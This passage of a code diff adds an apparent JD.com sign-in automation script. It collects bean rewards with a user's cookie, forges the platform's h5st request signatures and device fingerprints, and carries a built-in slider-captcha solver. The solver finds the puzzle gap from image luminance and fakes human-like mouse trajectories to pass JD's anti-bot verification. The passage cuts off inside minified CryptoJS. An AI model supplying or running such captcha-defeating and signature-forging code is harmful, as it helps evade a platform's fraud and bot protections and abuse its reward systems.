data.errorMessage.indexOf('今天已经签到') > -1){ + signFlag = 1; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function Sign(i,t) { + return new Promise(resolve => { + let options = tasPostkUrl(turnTableId[i].id) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 签到: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + $.validate = '' + let res = $.toObj(data,data) + if (typeof res === 'object') { + if (res.success && res.data) { + let resData = res.data + if (Number(resData.jdBeanQuantity) > 0) beanNum += Number(resData.jdBeanQuantity) + signFlag = true; + console.log(`${turnTableId[i].name} 签到成功:获得 ${Number(resData.jdBeanQuantity)}京豆`) + } else { + if (res.errorMessage) { + if(res.errorMessage.indexOf('已签到') > -1 || res.errorMessage.indexOf('今天已经签到') > -1){ + signFlag = true; + }else if(res.errorMessage.indexOf('进行验证') > -1){ + await injectToRequest('channelSign') + }else if(res.errorMessage.indexOf('火爆') > -1 && t == 2){ + await Sign(i,2) + }else{ + console.log(`${turnTableId[i].name} ${res.errorMessage}`) + } + } else { + console.log(`${turnTableId[i].name} ${data}`) + } + } + } else { + console.log(`${turnTableId[i].name} ${data}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(turnTableId) { + let time = Date.now() + let body = {"turnTableId":`${turnTableId}`} + let t = [{"key":"appid","value":"jdchoujiang_h5"},{"key":"body","value":$.CryptoJS.SHA256($.toStr(body,body)).toString()},{"key":"client","value":""},{"key":"clientVersion","value":""},{"key":"functionId","value":"turncardChannelDetail"},{"key":"t","value":time}] + let h5st = geth5st(t) || 'undefined' + let url = `https://api.m.jd.com/api?client=&clientVersion=&appid=jdchoujiang_h5&t=${time}&functionId=turncardChannelDetail&body=${JSON.stringify(body)}&h5st=${h5st}` + return { + url, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + "Origin": "https://prodev.m.jd.com", + "Referer": "https://prodev.m.jd.com/", + "User-Agent": $.UA, + } + } +} +function tasPostkUrl(turnTableId) { + let time = Date.now() + let body = {"turnTableId":`${turnTableId}`,"fp":fp,"eid":eid} + if($.validate){ + body["validate"] = $.validate + } + let t = [{"key":"appid","value":"jdchoujiang_h5"},{"key":"body","value":$.CryptoJS.SHA256($.toStr(body,body)).toString()},{"key":"client","value":""},{"key":"clientVersion","value":""},{"key":"functionId","value":"turncardChannelSign"},{"key":"t","value":time}] + let h5st = geth5st(t) || 'undefined' + let url = `https://api.m.jd.com/api?client=&clientVersion=&appid=jdchoujiang_h5&functionId=turncardChannelSign&t=${time}&body=${(JSON.stringify(body))}&h5st=${h5st}` + return { + url, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + 'Cookie': cookie, + "Origin": "https://prodev.m.jd.com", + "Referer": "https://prodev.m.jd.com/", + "User-Agent": $.UA, + } + } +} + +async function requestAlgo() { + var s = "", a = "0123456789", u = a, c = (Math.random() * 10) | 0; + do{ + ss = getRandomIDPro({ size: 1 ,customDict:a})+"" + if(s.indexOf(ss) == -1) s += ss + }while (s.length < 3) + for(let i of s.slice()) u = u.replace(i,'') + $.fp = getRandomIDPro({size:c, customDict:u})+""+s+getRandomIDPro({size:(14-(c+3))+1, customDict:u})+c+"" + let opts = { + url: `https://cactus.jd.com/request_algo?g_ty=ajax`, + headers: { + 'Accept': 'application/json', + 'Content-Type': 'application/json', + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + 'Origin': 'https://prodev.m.jd.com', + 'Referer': 'https://prodev.m.jd.com/', + 'User-Agent': $.UA, + }, + body: `{"version":"3.0","fp":"${$.fp}","appId":"${$.appId}","timestamp":${Date.now()},"platform":"web","expandParams":""}` + } + return new Promise(async resolve => { + $.post(opts, (err, resp, data) => { + try { + const { ret, msg, data: { result } = {} } = JSON.parse(data); + $.token = result.tk; + $.genKey = new Function(`return ${result.algo}`)(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getRandomIDPro() { + var e, + t, + a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, + n = void 0 === (n = t.dictType) ? 'number' : n, + i = ''; + if ((t = t.customDict) && 'string' == typeof t) e = t; + else + switch (n) { + case 'alphabet': + e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + break; + case 'max': + e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; + break; + case 'number': + default: + e = '0123456789'; + } + + for (; a--;) i += e[(Math.random() * e.length) | 0]; + return i; +} +function geth5st(t){ + // return '' + let a = t.map(function(e) { + return e["key"] + ":" + e["value"] + })["join"]("&") + let time = Date.now() + let hash1 = '' + let timestamp = format("yyyyMMddhhmmssSSS", time); + hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString(); + const hash2 = $.CryptoJS.HmacSHA256(a, hash1.toString()).toString(); + let h5st = ["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2),"3.0","".concat(time)].join(";") + return h5st +} +function format(a, time) { + if (!a) a = 'yyyy-MM-dd'; + var t; + if (!time) { + t = Date.now(); + } else { + t = new Date(time); + } + var e, + n = new Date(t), + d = a, + l = { + 'M+': n.getMonth() + 1, + 'd+': n.getDate(), + 'D+': n.getDate(), + 'h+': n.getHours(), + 'H+': n.getHours(), + 'm+': n.getMinutes(), + 's+': n.getSeconds(), + 'w+': n.getDay(), + 'q+': Math.floor((n.getMonth() + 3) / 3), + 'S+': n.getMilliseconds(), + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + Object.keys(l).forEach(e => { + if (new RegExp('('.concat(e, ')')).test(d)) { + var t, + a = 'S+' === e ? '000' : '00'; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); + } + }); + return d; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getUA(){ + $.UA = `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + + +async function injectToRequest(scene = 'cww') { + console.log('JDJR验证中......'); + let res = await new JDJRValidator().run(scene, eid); + if(res.validate){ + $.validate = res.validate + } +} + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + // console.log(imgBg); + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + // this.w = 260; + // this.h = 101; + } + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + // not found + return -1; + } +} +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.count = 0; + } + async run(scene = 'cww', eid='') { + const tryRecognize = async () => { + const x = await this.recognize(scene, eid); + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + this.count++; + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + if (result.message === 'success') { + // console.log(result); + $.validatorTime = (Date.now() - this.t) / 1000 + console.log(`JDJR验证用时: ${$.validatorTime}秒`); + return result; + } else { + console.log(`验证失败: ${this.count}/${validatorCount}`); + // console.log(JSON.stringify(result)); + if(this.count >= validatorCount){ + console.log("JDJR验证次数已达上限,退出验证"); + return result; + }else{ + // await sleep(300); + return await this.run(scene, eid); + } + } + } + + async recognize(scene, eid) { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + // console.log(JSON.stringify(re)) + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: eid, + s: '', + o: '', + o1: 0, + u: $.validatorUrl || 'https://prodev.m.jd.com', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.clear() + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA,...{"scene": scene}, ...data, ...extraData}).toString(); + const url = `https://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Connection': 'keep-alive', + 'Host': "iv.jd.com", + 'Referer': 'https://prodev.m.jd.com/', + 'User-Agent': $.UA, + }; + + const req = https.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function CryptoScripts() { + // prettier-ignore + !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32